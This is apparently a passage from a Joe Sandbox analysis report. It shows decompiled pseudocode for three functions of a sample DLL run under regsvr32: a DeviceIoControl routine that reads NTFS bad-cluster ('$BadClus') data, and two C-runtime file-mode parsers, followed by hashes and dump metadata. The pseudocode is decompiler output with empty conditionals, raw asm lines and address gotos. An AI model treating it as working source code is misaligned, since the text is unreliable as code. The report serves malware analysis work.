				_t4 = _t190 + 1; // 0x1
				r13d = _t4;
				r14d = 0;
				_t5 = _t190 + 3; // 0x3
				r15d = _t5;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t149 + 8)))) != 0) goto 0x80004c7e;
				if ( *((intOrPtr*)(_t149 + 0x20)) == 0xffffffff) goto 0x80004c7e;
				 *(_t193 + 0x38) = _t190;
				 *((long long*)(_t193 + 0x30)) = _t193 + 0x58;
				 *(_t193 + 0x28) = 0x10010;
				r9d = 8;
				 *(_t193 + 0x20) = _t193 + 0x70;
				 *((long long*)(_t193 + 0x60)) = _t180;
				if (DeviceIoControl(_t225, _t221, _t219, _t217) == 0) goto 0x80004ac9;
				 *(_t193 + 0x44) = 0;
				goto 0x80004ae2;
				_t71 = GetLastError();
				 *(_t193 + 0x44) = _t71;
				if (_t71 == 0) goto 0x80004ae2;
				if (_t71 != 0xea) goto 0x80004c7e;
				_t197 =  *((intOrPtr*)(_t193 + 0x70));
				if (_t180 -  *((intOrPtr*)(_t193 + 0x78)) + _t197 >= 0) goto 0x80004c7e;
				r11d = 0x10000;
				 *(_t193 + 0x48) = _t190;
				_t181 = _t197;
				r12b = 1;
				_t73 =  <  ? _t88 : r11d;
				 *((long long*)(_t193 + 0x50)) = _t73;
				if (_t73 <= 0) goto 0x80004c67;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t149 + 8)))) != 0) goto 0x80004c5d;
				_t97 =  *(_t193 + _t190 + 0x80) & 0x000000ff & r12b & 0xffffffff;
				r13d =  ==  ? _t97 : r13d;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x168))) goto 0x80004be5;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x170))) goto 0x80004c0a;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x178))) goto 0x80004bee;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x180))) goto 0x80004c0a;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x188))) goto 0x80004bf7;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x190))) goto 0x80004be5;
				if (r13d != 0) goto 0x80004bd7;
				if (_t97 == 0) goto 0x80004bc3;
				 *(_t193 + 0x20) =  *(_t193 + 0x20) & r13d;
				E00000001180003778(_t149, _t188, _t149, _t221, _t181, _t180);
				r15d = 3;
				r13d = _t97;
				if (r12b != 0x80) goto 0x80004c36;
				r12b = 1;
				goto 0x80004c39;
				if (_t97 != 0) goto 0x80004bc3;
				 *(_t193 + 0x20) = 1;
				goto 0x80004ba5;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x170))) goto 0x80004c0a;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x180))) goto 0x80004c0a;
				if (_t181 ==  *((intOrPtr*)(_t149 + 0x190))) goto 0x80004c0a;
				goto 0x80004c0d;
				 *(_t193 + 0x20) = r15d;
				E00000001180003778(_t149, _t188, _t149, _t221, _t181, _t187);
				goto 0x80004bc9;
				r12b = r12b + r12b;
				_t146 =  !=  ?  *(_t193 + 0x48) :  *(_t193 + 0x48) + 1;
				_t182 = _t181 + 1;
				 *(_t193 + 0x48) = _t146;
				if (_t146 -  *((intOrPtr*)(_t193 + 0x50)) < 0) goto 0x80004b2d;
				if ( *(_t193 + 0x44) != 0xea) goto 0x80004c7e;
				_t147 =  *((intOrPtr*)(_t193 + 0x78)) +  *((intOrPtr*)(_t193 + 0x70));
				if (_t182 - _t147 < 0) goto 0x80004a69;
				if (_t182 == 0) goto 0x80004ca7;
				if (r13d != 0) goto 0x80004c9a;
				 *(_t193 + 0x20) = 0;
				goto 0x80004ca2;
				 *(_t193 + 0x20) = 1;
				E00000001180003778(_t149, _t188, _t149, _t181, _t182, _t190);
				_t183 = _t149 + 0x170;
				_t131 =  *((intOrPtr*)(_t183 - 8));
				if (_t131 == 0) goto 0x80004ccd;
				 *(_t193 + 0x20) = 6;
				E00000001180003778(_t149, _t188, _t149,  *((intOrPtr*)(_t183 - 8)),  *_t183);
				_t184 = _t183 + 0x10;
				if (_t131 != 0) goto 0x80004cae;
				E0000000118000F444( *((intOrPtr*)(_t149 + 0x120)));
				goto 0x80004d4e;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t149 + 8)))) != 0) goto 0x80004d56;
				if ( *((intOrPtr*)(_t183 + 0x28)) == 0) goto 0x80004d21;
				if (E00000001180053BDC(_t147,  *((intOrPtr*)(_t183 + 0x28))) == 0) goto 0x80004d3f;
				if (E00000001180053BDC(_t147,  *((intOrPtr*)(_t183 + 0x28))) == 0) goto 0x80004d3f;
				r9d = 0;
				 *(_t193 + 0x28) = 0;
				 *(_t193 + 0x20) = _t190;
				E00000001180006F30(_t147, _t149,  *((intOrPtr*)(_t188 + 0x27ad78)), _t149, _t188, _t184,  *_t183,  *((intOrPtr*)(_t193 + 0x50)));
				_t86 = E0000000118000F3BC(_t184);
				if (_t147 != 0) goto 0x80004cec;
				return E000000011800149A0(_t86, r12b,  *(_t193 + 0x10080) ^ _t193);
			}






























                                                                                                        0x180004a14
                                                                                                        0x180004a14
                                                                                                        0x180004a29
                                                                                                        0x180004a2e
                                                                                                        0x180004a31
                                                                                                        0x180004a3b
                                                                                                        0x180004a45
                                                                                                        0x180004a48
                                                                                                        0x180004a4f
                                                                                                        0x180004a57
                                                                                                        0x180004a5e
                                                                                                        0x180004a5e
                                                                                                        0x180004a62
                                                                                                        0x180004a65
                                                                                                        0x180004a65
                                                                                                        0x180004a6f
                                                                                                        0x180004a7d
                                                                                                        0x180004a83
                                                                                                        0x180004a8d
                                                                                                        0x180004a9c
                                                                                                        0x180004aa4
                                                                                                        0x180004aaa
                                                                                                        0x180004ab4
                                                                                                        0x180004ac1
                                                                                                        0x180004ac3
                                                                                                        0x180004ac7
                                                                                                        0x180004ac9
                                                                                                        0x180004acf
                                                                                                        0x180004ad5
                                                                                                        0x180004adc
                                                                                                        0x180004ae7
                                                                                                        0x180004af3
                                                                                                        0x180004af9
                                                                                                        0x180004aff
                                                                                                        0x180004b0e
                                                                                                        0x180004b17
                                                                                                        0x180004b1a
                                                                                                        0x180004b20
                                                                                                        0x180004b27
                                                                                                        0x180004b39
                                                                                                        0x180004b4c
                                                                                                        0x180004b51
                                                                                                        0x180004b5c
                                                                                                        0x180004b69
                                                                                                        0x180004b76
                                                                                                        0x180004b7f
                                                                                                        0x180004b8c
                                                                                                        0x180004b95
                                                                                                        0x180004b9a
                                                                                                        0x180004b9e
                                                                                                        0x180004ba0
                                                                                                        0x180004bae
                                                                                                        0x180004bc3
                                                                                                        0x180004bc9
                                                                                                        0x180004bd0
                                                                                                        0x180004bd2
                                                                                                        0x180004bd5
                                                                                                        0x180004bd9
                                                                                                        0x180004bdb
                                                                                                        0x180004be3
                                                                                                        0x180004bec
                                                                                                        0x180004bf5
                                                                                                        0x180004bfe
                                                                                                        0x180004c08
                                                                                                        0x180004c10
                                                                                                        0x180004c1a
                                                                                                        0x180004c34
                                                                                                        0x180004c36
                                                                                                        0x180004c45
                                                                                                        0x180004c49
                                                                                                        0x180004c4c
                                                                                                        0x180004c57
                                                                                                        0x180004c6f
                                                                                                        0x180004c71
                                                                                                        0x180004c78
                                                                                                        0x180004c81
                                                                                                        0x180004c92
                                                                                                        0x180004c94
                                                                                                        0x180004c98
                                                                                                        0x180004c9a
                                                                                                        0x180004ca2
                                                                                                        0x180004ca7
                                                                                                        0x180004cb2
                                                                                                        0x180004cb5
                                                                                                        0x180004cc0
                                                                                                        0x180004cc8
                                                                                                        0x180004ccd
                                                                                                        0x180004cd5
                                                                                                        0x180004ce5
                                                                                                        0x180004cea
                                                                                                        0x180004cf2
                                                                                                        0x180004cfb
                                                                                                        0x180004d0b
                                                                                                        0x180004d1f
                                                                                                        0x180004d28
                                                                                                        0x180004d2b
                                                                                                        0x180004d35
                                                                                                        0x180004d3a
                                                                                                        0x180004d49
                                                                                                        0x180004d54
                                                                                                        0x180004d80

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ControlDeviceErrorLast
                                                                                                        • String ID: $BadClus$$BadClus:$Bad:$DATA
                                                                                                        • API String ID: 2645620995-2573216111
                                                                                                        • Opcode ID: 1c487c5f5f2871e51c0b591ec0885c7b88cb0db2e0b33cc7585cf19a11168098
                                                                                                        • Instruction ID: 875d1843d4eae415a06b054862f842a8dceaff1c87e6e7c90dc5435ee6113bc0
                                                                                                        • Opcode Fuzzy Hash: 1c487c5f5f2871e51c0b591ec0885c7b88cb0db2e0b33cc7585cf19a11168098
                                                                                                        • Instruction Fuzzy Hash: 4B9183B3205A4896E6E2CF16D5007DA73A5F74CBD8F448126FE4D4B798DF78C6498704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180061880 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 87%
                                                                                                        			E00000001180061880(long long __rbx, signed int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				signed int _t31;
				signed int _t33;
				signed int _t36;
				signed int _t49;
				signed int _t56;
				void* _t61;
				void* _t83;
				signed int _t89;
				void* _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t129;
				signed short* _t131;
				signed short* _t132;
				long long _t136;
				signed int _t138;
				signed short* _t142;
				signed short* _t143;

				_t109 = _t138;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = _t136;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				 *__rcx = _t109;
				__rcx[2] = 0;
				r14d = 0x20;
				_t31 =  *0x800da778; // 0x0
				__rcx[1] = _t31;
				goto 0x800618c3;
				_t142 = __rdx + 2;
				_t33 =  *_t142 & 0x0000ffff;
				if (_t33 == r14w) goto 0x800618bb;
				if (_t33 == 0x61) goto 0x800618f0;
				if (_t33 == 0x72) goto 0x800618e7;
				if (_t33 != 0x77) goto 0x80061b54;
				 *__rcx = 0x301;
				goto 0x800618f6;
				__rcx[1] = 1;
				goto 0x800618fd;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t143 =  &(_t142[1]);
				r9b = bpl;
				dil = bpl;
				r10b = bpl;
				r11b = bpl;
				_t9 = _t136 + 0xa; // 0xa
				if ( *_t143 == 0) goto 0x80061a66;
				_t56 =  *_t143 & 0x0000ffff;
				_t83 = _t56 - 0x53;
				if (_t83 > 0) goto 0x800619d0;
				if (_t83 == 0) goto 0x800619b9;
				if (_t83 == 0) goto 0x80061a51;
				if (_t83 == 0) goto 0x80061987;
				if (_t83 == 0) goto 0x8006197f;
				if (_t83 == 0) goto 0x8006196d;
				_t61 = _t56 - r14d - 0xfffffffffffffff2 - _t9;
				if (_t83 == 0) goto 0x80061964;
				if (_t61 != 4) goto 0x80061b54;
				if (r10b != 0) goto 0x80061a44;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0x800619c5;
				asm("bts dword [ebx], 0x7");
				goto 0x80061a4f;
				if (( *__rcx & 0x00000040) != 0) goto 0x80061a44;
				goto 0x80061a4d;
				r11b = 1;
				goto 0x80061a44;
				if (dil != 0) goto 0x80061a44;
				_t36 =  *__rcx;
				dil = 1;
				if ((_t36 & 0x00000002) != 0) goto 0x80061a44;
				 *__rcx = _t36 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0x80061a51;
				_t89 = r10b;
				if (_t89 != 0) goto 0x80061a44;
				 *__rcx =  *__rcx | r14d;
				r10b = 1;
				goto 0x80061a51;
				if (_t89 == 0) goto 0x80061a3c;
				if (_t89 == 0) goto 0x80061a2d;
				if (_t89 == 0) goto 0x80061a1b;
				if (_t89 == 0) goto 0x80061a0f;
				if (_t89 == 0) goto 0x80061a00;
				_t90 = _t61 - 0x34 - 4;
				if (_t90 != 0) goto 0x80061b54;
				asm("bt eax, 0x9");
				if (_t90 >= 0) goto 0x80061a44;
				asm("bts eax, 0xa");
				goto 0x80061a4d;
				if (( *__rcx & 0x0000c000) != 0) goto 0x80061a44;
				asm("bts eax, 0xe");
				goto 0x80061a4d;
				if (r9b != 0) goto 0x80061a44;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0x80061a25;
				if (r9b != 0) goto 0x80061a44;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0x80061a51;
				_t94 =  *__rcx & 0x0000c000;
				if (_t94 != 0) goto 0x80061a44;
				asm("bts eax, 0xf");
				goto 0x80061a4d;
				asm("bt eax, 0xc");
				if (_t94 >= 0) goto 0x80061a49;
				goto 0x80061a51;
				asm("bts eax, 0xc");
				asm("dec eax");
				_t144 = _t143 + __rcx;
				if (1 != 0) goto 0x80061914;
				_t20 = _t144 + 2; // 0x7e
				_t128 =  ==  ? _t143 + __rcx : _t20;
				goto 0x80061a77;
				_t129 = ( ==  ? _t143 + __rcx : _t20) + 2;
				if ( *_t129 == r14w) goto 0x80061a73;
				if (r11b != 0) goto 0x80061a94;
				if ( *_t129 != 0) goto 0x80061b54;
				__rcx[2] = 1;
				goto 0x80061b64;
				r8d = 3;
				if (E000000011800267DC(_t143 + __rcx) != 0) goto 0x80061b54;
				goto 0x80061abb;
				_t131 = _t129 + 8;
				_t49 =  *_t131 & 0x0000ffff;
				if (_t49 == r14w) goto 0x80061ab7;
				if (_t49 != 0x3d) goto 0x80061b54;
				_t132 =  &(_t131[1]);
				if ( *_t132 == r14w) goto 0x80061ace;
				r8d = 5;
				if (E0000000118005459C(_t109, _t132) != 0) goto 0x80061af7;
				asm("bts dword [ebx], 0x12");
				goto 0x80061b39;
				r8d = 8;
				if (E0000000118005459C(_t109, _t132) != 0) goto 0x80061b19;
				asm("bts dword [ebx], 0x11");
				goto 0x80061b39;
				r8d = 7;
				if (E0000000118005459C(_t109, _t132) != 0) goto 0x80061b54;
				asm("bts dword [ebx], 0x10");
				goto 0x80061b43;
				if (( *(_t132 + __rsi + 2) & 0x0000ffff) == r14w) goto 0x80061b3f;
				goto 0x80061a85;
				E0000000118005B354( *(_t132 + __rsi + 2) & 0x0000ffff, _t109);
				 *_t109 = 0x16;
				return E0000000118002594C();
			}





















                                                                                                        0x180061880
                                                                                                        0x180061883
                                                                                                        0x180061887
                                                                                                        0x18006188b
                                                                                                        0x18006188f
                                                                                                        0x18006189e
                                                                                                        0x1800618a4
                                                                                                        0x1800618a7
                                                                                                        0x1800618ad
                                                                                                        0x1800618b3
                                                                                                        0x1800618b9
                                                                                                        0x1800618bb
                                                                                                        0x1800618bf
                                                                                                        0x1800618c7
                                                                                                        0x1800618cd
                                                                                                        0x1800618d3
                                                                                                        0x1800618d9
                                                                                                        0x1800618df
                                                                                                        0x1800618e5
                                                                                                        0x1800618e7
                                                                                                        0x1800618ee
                                                                                                        0x1800618f0
                                                                                                        0x1800618f6
                                                                                                        0x1800618fd
                                                                                                        0x180061905
                                                                                                        0x180061908
                                                                                                        0x18006190b
                                                                                                        0x18006190e
                                                                                                        0x180061911
                                                                                                        0x180061918
                                                                                                        0x18006191e
                                                                                                        0x180061922
                                                                                                        0x180061925
                                                                                                        0x18006192b
                                                                                                        0x180061934
                                                                                                        0x18006193d
                                                                                                        0x180061942
                                                                                                        0x180061947
                                                                                                        0x180061949
                                                                                                        0x18006194b
                                                                                                        0x180061950
                                                                                                        0x180061959
                                                                                                        0x18006195f
                                                                                                        0x180061962
                                                                                                        0x180061964
                                                                                                        0x180061968
                                                                                                        0x180061971
                                                                                                        0x18006197a
                                                                                                        0x18006197f
                                                                                                        0x180061982
                                                                                                        0x18006198a
                                                                                                        0x180061990
                                                                                                        0x180061992
                                                                                                        0x180061997
                                                                                                        0x1800619a6
                                                                                                        0x1800619b1
                                                                                                        0x1800619b4
                                                                                                        0x1800619b9
                                                                                                        0x1800619bc
                                                                                                        0x1800619c2
                                                                                                        0x1800619c5
                                                                                                        0x1800619cb
                                                                                                        0x1800619d3
                                                                                                        0x1800619d8
                                                                                                        0x1800619dd
                                                                                                        0x1800619e2
                                                                                                        0x1800619e7
                                                                                                        0x1800619e9
                                                                                                        0x1800619ec
                                                                                                        0x1800619f4
                                                                                                        0x1800619f8
                                                                                                        0x1800619fa
                                                                                                        0x1800619fe
                                                                                                        0x180061a07
                                                                                                        0x180061a09
                                                                                                        0x180061a0d
                                                                                                        0x180061a12
                                                                                                        0x180061a14
                                                                                                        0x180061a19
                                                                                                        0x180061a1e
                                                                                                        0x180061a20
                                                                                                        0x180061a25
                                                                                                        0x180061a2b
                                                                                                        0x180061a2f
                                                                                                        0x180061a34
                                                                                                        0x180061a36
                                                                                                        0x180061a3a
                                                                                                        0x180061a3e
                                                                                                        0x180061a42
                                                                                                        0x180061a47
                                                                                                        0x180061a49
                                                                                                        0x180061a55
                                                                                                        0x180061a5b
                                                                                                        0x180061a60
                                                                                                        0x180061a69
                                                                                                        0x180061a6d
                                                                                                        0x180061a71
                                                                                                        0x180061a73
                                                                                                        0x180061a7b
                                                                                                        0x180061a80
                                                                                                        0x180061a85
                                                                                                        0x180061a8b
                                                                                                        0x180061a8f
                                                                                                        0x180061a94
                                                                                                        0x180061aab
                                                                                                        0x180061ab5
                                                                                                        0x180061ab7
                                                                                                        0x180061abb
                                                                                                        0x180061ac2
                                                                                                        0x180061ac8
                                                                                                        0x180061ace
                                                                                                        0x180061ad6
                                                                                                        0x180061ad8
                                                                                                        0x180061aef
                                                                                                        0x180061af1
                                                                                                        0x180061af5
                                                                                                        0x180061af7
                                                                                                        0x180061b0e
                                                                                                        0x180061b10
                                                                                                        0x180061b17
                                                                                                        0x180061b19
                                                                                                        0x180061b30
                                                                                                        0x180061b32
                                                                                                        0x180061b3d
                                                                                                        0x180061b4a
                                                                                                        0x180061b4f
                                                                                                        0x180061b54
                                                                                                        0x180061b59
                                                                                                        0x180061b81

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                        • API String ID: 3215553584-1196891531
                                                                                                        • Opcode ID: c5f98389e146a98e93fca24339ce0ce051ac610bfb04151202aa7c1171dd50f8
                                                                                                        • Instruction ID: b37bb434e901e04b5238f8742d0e279c8fd54f2730ce0d5300426daeb93e19cf
                                                                                                        • Opcode Fuzzy Hash: c5f98389e146a98e93fca24339ce0ce051ac610bfb04151202aa7c1171dd50f8
                                                                                                        • Instruction Fuzzy Hash: D281A0326053488DFBE78FE989503F826A2A319BCAF7DD005FA2557295DB35CB499302
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800615BC Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 214COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 87%
                                                                                                        			E000000011800615BC(signed int __rax, long long __rbx, signed int* __rcx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t25;
				intOrPtr _t27;
				signed int _t30;
				intOrPtr _t43;
				char _t50;
				void* _t55;
				void* _t76;
				signed int _t82;
				void* _t83;
				signed int _t87;
				intOrPtr* _t103;
				intOrPtr* _t122;
				intOrPtr* _t124;
				char* _t125;
				intOrPtr* _t132;
				char* _t133;

				_t103 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				 *__rcx = __rax;
				__rcx[2] = 0;
				_t25 =  *0x800da778; // 0x0
				__rcx[1] = _t25;
				goto 0x800615ec;
				_t132 = __rdx + 1;
				_t27 =  *_t132;
				if (_t27 == 0x20) goto 0x800615e6;
				if (_t27 == 0x61) goto 0x80061616;
				if (_t27 == 0x72) goto 0x8006160d;
				if (_t27 != 0x77) goto 0x8006185a;
				 *__rcx = 0x301;
				goto 0x8006161c;
				__rcx[1] = 1;
				goto 0x8006161f;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t133 = _t132 + 1;
				r9b = 0;
				dil = 0;
				r10b = 0;
				r11b = 0;
				if ( *_t133 == 0) goto 0x8006177f;
				_t50 =  *_t133;
				_t76 = _t50 - 0x53;
				if (_t76 > 0) goto 0x800616ed;
				if (_t76 == 0) goto 0x800616d6;
				if (_t76 == 0) goto 0x8006176d;
				if (_t76 == 0) goto 0x800616a4;
				if (_t76 == 0) goto 0x8006169c;
				if (_t76 == 0) goto 0x8006168a;
				_t55 = _t50 - 0xfffffffffffffff2;
				if (_t76 == 0) goto 0x80061681;
				if (_t55 != 4) goto 0x8006185a;
				if (r10b != 0) goto 0x80061761;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0x800616e2;
				asm("bts dword [ebx], 0x7");
				goto 0x8006176b;
				if (( *__rcx & 0x00000040) != 0) goto 0x80061761;
				goto 0x80061769;
				r11b = 1;
				goto 0x80061761;
				if (dil != 0) goto 0x80061761;
				_t30 =  *__rcx;
				dil = 1;
				if ((sil & _t30) != 0) goto 0x80061761;
				 *__rcx = _t30 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0x8006176d;
				_t82 = r10b;
				if (_t82 != 0) goto 0x80061761;
				 *__rcx =  *__rcx | 0x00000020;
				r10b = 1;
				goto 0x8006176d;
				if (_t82 == 0) goto 0x80061759;
				if (_t82 == 0) goto 0x8006174a;
				if (_t82 == 0) goto 0x80061738;
				if (_t82 == 0) goto 0x8006172c;
				if (_t82 == 0) goto 0x8006171d;
				_t83 = _t55 - 0x34 - 4;
				if (_t83 != 0) goto 0x8006185a;
				asm("bt eax, 0x9");
				if (_t83 >= 0) goto 0x80061761;
				asm("bts eax, 0xa");
				goto 0x80061769;
				if (( *__rcx & 0x0000c000) != 0) goto 0x80061761;
				asm("bts eax, 0xe");
				goto 0x80061769;
				if (r9b != 0) goto 0x80061761;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0x80061742;
				if (r9b != 0) goto 0x80061761;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0x8006176d;
				_t87 =  *__rcx & 0x0000c000;
				if (_t87 != 0) goto 0x80061761;
				asm("bts eax, 0xf");
				goto 0x80061769;
				asm("bt eax, 0xc");
				if (_t87 >= 0) goto 0x80061765;
				goto 0x8006176d;
				asm("bts eax, 0xc");
				_t134 = _t133 + __rax;
				if (1 != 0) goto 0x80061630;
				_t19 = _t134 + 1; // 0x83
				_t121 =  ==  ? _t133 + __rax : _t19;
				goto 0x8006178f;
				_t122 = ( ==  ? _t133 + __rax : _t19) + 1;
				if ( *_t122 == 0x20) goto 0x8006178c;
				if (r11b != 0) goto 0x800617ab;
				if ( *_t122 != r11b) goto 0x8006185a;
				__rcx[2] = 1;
				goto 0x8006186a;
				r8d = 3;
				if (E00000001180058160(_t55 - 0x34, _t122, 0x800c65a4, _t133 + __rax) != 0) goto 0x8006185a;
				goto 0x800617d1;
				_t124 = _t122 + 4;
				_t43 =  *_t124;
				if (_t43 == 0x20) goto 0x800617ce;
				if (_t43 != 0x3d) goto 0x8006185a;
				_t125 = _t124 + 1;
				if ( *_t125 == 0x20) goto 0x800617db;
				r8d = 5;
				if (E00000001180054784(_t103, _t125) != 0) goto 0x80061804;
				asm("bts dword [ebx], 0x12");
				goto 0x80061844;
				r8d = 8;
				if (E00000001180054784(_t103, _t125) != 0) goto 0x80061825;
				asm("bts dword [ebx], 0x11");
				goto 0x80061844;
				r8d = 7;
				if (E00000001180054784(_t103, _t125) != 0) goto 0x8006185a;
				asm("bts dword [ebx], 0x10");
				goto 0x8006184d;
				if ( *((intOrPtr*)(__rsi + _t125 + 1)) == 0x20) goto 0x8006184a;
				goto 0x8006179c;
				E0000000118005B354( *((intOrPtr*)(__rsi + _t125 + 1)), _t103);
				 *_t103 = 0x16;
				return E0000000118002594C();
			}



















                                                                                                        0x1800615bc
                                                                                                        0x1800615bc
                                                                                                        0x1800615c1
                                                                                                        0x1800615d0
                                                                                                        0x1800615d6
                                                                                                        0x1800615d9
                                                                                                        0x1800615df
                                                                                                        0x1800615e4
                                                                                                        0x1800615e6
                                                                                                        0x1800615e9
                                                                                                        0x1800615ee
                                                                                                        0x1800615f7
                                                                                                        0x1800615fb
                                                                                                        0x1800615ff
                                                                                                        0x180061605
                                                                                                        0x18006160b
                                                                                                        0x18006160d
                                                                                                        0x180061614
                                                                                                        0x180061616
                                                                                                        0x18006161c
                                                                                                        0x18006161f
                                                                                                        0x180061622
                                                                                                        0x180061625
                                                                                                        0x180061628
                                                                                                        0x18006162b
                                                                                                        0x180061634
                                                                                                        0x18006163a
                                                                                                        0x18006163e
                                                                                                        0x180061641
                                                                                                        0x180061647
                                                                                                        0x180061650
                                                                                                        0x180061659
                                                                                                        0x18006165e
                                                                                                        0x180061663
                                                                                                        0x180061665
                                                                                                        0x180061668
                                                                                                        0x18006166d
                                                                                                        0x180061676
                                                                                                        0x18006167c
                                                                                                        0x18006167f
                                                                                                        0x180061681
                                                                                                        0x180061685
                                                                                                        0x18006168e
                                                                                                        0x180061697
                                                                                                        0x18006169c
                                                                                                        0x18006169f
                                                                                                        0x1800616a7
                                                                                                        0x1800616ad
                                                                                                        0x1800616af
                                                                                                        0x1800616b5
                                                                                                        0x1800616c3
                                                                                                        0x1800616ce
                                                                                                        0x1800616d1
                                                                                                        0x1800616d6
                                                                                                        0x1800616d9
                                                                                                        0x1800616df
                                                                                                        0x1800616e2
                                                                                                        0x1800616e8
                                                                                                        0x1800616f0
                                                                                                        0x1800616f5
                                                                                                        0x1800616fa
                                                                                                        0x1800616ff
                                                                                                        0x180061704
                                                                                                        0x180061706
                                                                                                        0x180061709
                                                                                                        0x180061711
                                                                                                        0x180061715
                                                                                                        0x180061717
                                                                                                        0x18006171b
                                                                                                        0x180061724
                                                                                                        0x180061726
                                                                                                        0x18006172a
                                                                                                        0x18006172f
                                                                                                        0x180061731
                                                                                                        0x180061736
                                                                                                        0x18006173b
                                                                                                        0x18006173d
                                                                                                        0x180061742
                                                                                                        0x180061748
                                                                                                        0x18006174c
                                                                                                        0x180061751
                                                                                                        0x180061753
                                                                                                        0x180061757
                                                                                                        0x18006175b
                                                                                                        0x18006175f
                                                                                                        0x180061763
                                                                                                        0x180061765
                                                                                                        0x180061774
                                                                                                        0x180061779
                                                                                                        0x180061782
                                                                                                        0x180061786
                                                                                                        0x18006178a
                                                                                                        0x18006178c
                                                                                                        0x180061792
                                                                                                        0x180061797
                                                                                                        0x18006179c
                                                                                                        0x1800617a2
                                                                                                        0x1800617a6
                                                                                                        0x1800617ab
                                                                                                        0x1800617c2
                                                                                                        0x1800617cc
                                                                                                        0x1800617ce
                                                                                                        0x1800617d1
                                                                                                        0x1800617d5
                                                                                                        0x1800617d9
                                                                                                        0x1800617db
                                                                                                        0x1800617e1
                                                                                                        0x1800617ef
                                                                                                        0x1800617fc
                                                                                                        0x1800617fe
                                                                                                        0x180061802
                                                                                                        0x180061810
                                                                                                        0x18006181d
                                                                                                        0x18006181f
                                                                                                        0x180061823
                                                                                                        0x180061831
                                                                                                        0x18006183e
                                                                                                        0x180061840
                                                                                                        0x180061848
                                                                                                        0x180061851
                                                                                                        0x180061855
                                                                                                        0x18006185a
                                                                                                        0x18006185f
                                                                                                        0x18006187c

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                        • API String ID: 3215553584-1196891531
